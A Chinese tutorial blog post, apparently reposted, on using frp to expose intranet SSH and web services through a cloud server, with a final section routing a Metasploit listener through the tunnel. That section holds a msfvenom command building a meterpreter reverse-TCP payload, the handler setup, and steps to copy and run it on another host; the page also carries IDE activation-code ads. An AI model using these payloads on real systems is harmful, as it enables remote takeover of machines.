Frp内网穿透

Frp内网穿透Frp内网穿透​ 内网穿透从本质上来讲也是端口映射,两者都是将内网地址映射到公网可访问的地址,而区别是端口映射直接在路由器中配置即可,而内网穿透配置的端口映射则需要客户端和服务端进行绑定后实现,相当于客户端和服务端之间建立了一条隧道,然后访问服务端的请求会通过隧道转发给内网主机,该情况多用于没有公网IP的情况下使用;​ frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务,支持tcp,udp,http,https等协议类型,可以将内网服务以安全、便捷的方式通过具有公网

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

Frp内网穿透

​ 内网穿透从本质上来讲也是端口映射,两者都是将内网地址映射到公网可访问的地址,而区别是端口映射直接在路由器中配置即可,而内网穿透配置的端口映射则需要客户端和服务端进行绑定后实现,相当于客户端和服务端之间建立了一条隧道,然后访问服务端的请求会通过隧道转发给内网主机,该情况多用于没有公网 IP 的情况下使用;

​ frp是一个高性能的反向代理应用,可以轻松地进行内网穿透,对外网提供服务, 支持tcp, udp, http, https等协议类型,可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网;

## 中文文档地址: 
https://gofrp.org/docs/ 
## github 下载地址: 
https://github.com/fatedier/frp/releases

​ Frp有客户端和服务端,根据所安装主机的系统下载好对应的版本,这里下载了两个版本,一个windows版本,一个linux版本;

1

1、映射内网SSH服务

​ 将linux版本文件通过xshell上传到云服务器,并进行解压;

## 解压文件
tar xf frp_0.33.0_linux_amd64.tar.gz

Snipaste_2021-09-24_17-17-59

## 文件涵义
frpc			客户端程序 
frpc_full.ini	客户端完整配置文件 
frpc.ini		客户端简易配置文件 
frps			服务端程序 
frps_full.ini	服务端完整配置文件 
frps.ini		服务端简易配置文件

​ 查看简易配置文件,配置了侦听端口为7000,即服务端与客户端通讯的端口;

Snipaste_2021-09-24_17-38-18

​ 启动服务端程序;

 ## 以简易配置启动服务端程序
 ./frps -c ./frps.ini 

Snipaste_2021-09-24_17-53-58

​ 在本地CentOS7中解压linux版本文件,并修改客户端简易配置文件frpc.ini;

Snipaste_2021-09-24_17-51-54

## 客户端简易配置文件frpc.ini
[common]
server_addr = 123.456.789.111     ## 远程云主机的公网ip地址
server_port = 7000                ## 服务端侦听的端口
[ssh] 
type = tcp 					## 协议类型					
local_ip = 127.0.0.1 		## 本地的ip地址
local_port = 22 			## 本地的端口
remote_port = 6000 			## 映射到服务端的端口

​ 启动客户端程序;

## 以简易配置启动客户端程序
./frpc -c frpc.ini

Snipaste_2021-09-24_18-11-58

​ 此时云主机上服务端会显示已经成功的日志信息;

Snipaste_2021-09-24_18-13-29

​ 在云主机上查看6000端口的状态,显示已经配置了TCP监听;

Snipaste_2021-09-24_18-22-33

​ 通过xshell访问云主机公网ip的6000端口就可以访问内网主机;

Snipaste_2021-09-24_18-38-51

Snipaste_2021-09-24_18-39-11

2、映射内网Web服务

​ 配置服务端的配置文件frps.ini,vhost_http_port为http服务访问端口,vhost_https_port为https服务访问端口,此处以http服务为例;

## frps.ini配置文件
[common]
bind_port = 7000
vhost_http_port = 8080

Snipaste_2021-09-24_21-36-24

​ 配置完成后启动服务端程序;

 ## 以简易配置启动服务端程序
 ./frps -c ./frps.ini 

​ 更改客户端的配置文件frpc.ini;

## frpc.ini配置文件
[common]
server_addr = 123.456.789.111   ## 云主机的公网IP
server_port = 7000				## 服务端绑定的端口

[web]
type = http
local_port = 80					## 本地Web服务的端口
custom_domains = www.yourdomain.com	 ## 解析到公网IP上的域名

Snipaste_2021-09-24_21-39-08

​ 启动客户端程序;

 ## 以简易配置启动客户端程序
 ./frps -c ./frps.ini 

Snipaste_2021-09-24_21-40-44

​ 服务端可以查看到成功链接的日志信息;

Snipaste_2021-09-24_21-42-28

​ 访问域名:8080就可以访问本地的Web服务;

Snipaste_2021-09-24_21-44-17

3、配置MSF接收来自公网的shell

​ 服务端配置文件不用改变,修改客户端配置文件即可,然后启动客户端程序;

## frpc.ini配置文件
[common]
server_addr = 123.456.789.111   ## 云主机的公网IP
server_port = 7000				## 服务端绑定的端口

[msf] 
type = tcp 
local_port = 4444 		## 本地待监听端口
local_ip = 127.0.0.1 
remote_port = 8085 		## 云主机映射端口

Snipaste_2021-09-24_22-11-30

Snipaste_2021-09-24_22-19-10

​ 生成 payload ,LHOST 指定为公网 IP,LPORT 指定为公网映射端口;

## 使用msfvenom生成payload
msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=123.456.789.111 LPORT=8085 -b "\x00" -f elf -o xuyu 

Snipaste_2021-09-24_22-26-24

​ 本地启动 MSF 并配置侦听,此时监听LOST为本地ip地址,LPORT为frpc.ini配置文件中本地的端口;

## MSF配置本地监听
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp 
set LHOST 192.168.1.105
set LPORT 4444 
exploit 

Snipaste_2021-09-24_22-41-48
​ 将payload复制到另一台Centos中,并执行;

## 复制payload并执行
scp xuyu root@192.168.1.6:/root/
chmod +x xuyu
./xuyu

​ MSF 成功接收 shell ;

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/194252.html原文链接:https://javaforall.net

(0)
上一篇 2025年11月9日 下午3:22
下一篇 2025年11月9日 下午4:01


相关推荐

  • ubuntu安装vscode的两种方法

    ubuntu安装vscode的两种方法方法一:依次输入如下命令1、sudoadd-apt-repositoryppa:ubuntu-desktop/ubuntu-make2、sudoapt-getupdate3、sudoapt-getinstallubuntu-make4、umakeidevisual-studio-code提示输入a即可方法二:在windows系统下载安装包,再使用共享文件夹…

    2026年1月20日
    7
  • Spring通过SchedulerFactoryBean实现调度任务的配置(定时器)

    Spring通过SchedulerFactoryBean实现调度任务的配置(定时器)<?xmlversion=”1.0″encoding=”UTF-8″?><beansxmlns=”http://www.springframework.org/schema/beans”xmlns:xsi=”http://www.w3.org/2001/XMLSchema-instance”xmlns:contex…

    2022年5月10日
    44
  • 详解遗传算法(含MATLAB代码)

    详解遗传算法(含MATLAB代码)目录一 遗传算法概述二 遗传算法的特点和应用三 遗传算法的基本流程及实现技术 3 1 遗传算法的基本流程 3 2 遗传算法的实现技术 1 编码 2 适应度函数 3 选择算子 4 交叉算子 5 变异算子 6 运行参数四 遗传算法的基本原理 4 1 模式定理 4 2 积木块假设五 遗传算法编程实例 MATLAB 一 遗传算法概述遗传算法

    2026年3月20日
    1
  • Pytest(15)pytest分布式执行用例[通俗易懂]

    Pytest(15)pytest分布式执行用例[通俗易懂]前言平常我们功能测试用例非常多时,比如有1千条用例,假设每个用例执行需要1分钟,如果单个测试人员执行需要1000分钟才能跑完当项目非常紧急时,会需要协调多个测试资源来把任务分成两部分,于是执行时间

    2022年7月29日
    18
  • 线程创建的四种方式

    线程创建的四种方式java中创建线程的四种方法以及区别Java使用Thread类代表线程,所有的线程对象都必须是Thread类或其子类的实例。Java可以用四种方式来创建线程,如下所示:1)继承Thread类创建线程2)实现Runnable接口创建线程3)使用Callable和Future创建线程4)使用线程池例如用Executor框架下面让我们分别来看看这四种创建线程的方法。–…

    2022年5月3日
    72
  • seajs进阶

    seajs进阶http blog csdn net it man article details 基础篇先请这里看 http blog csdn net it man article details 该页面列举了 SeaJS 中的常用实战过程中的问题 只要掌握这些方法 就可以娴熟地开始对你的网站进行模块化开发了 默认情况下 SeaJS 要求所有文

    2026年3月19日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号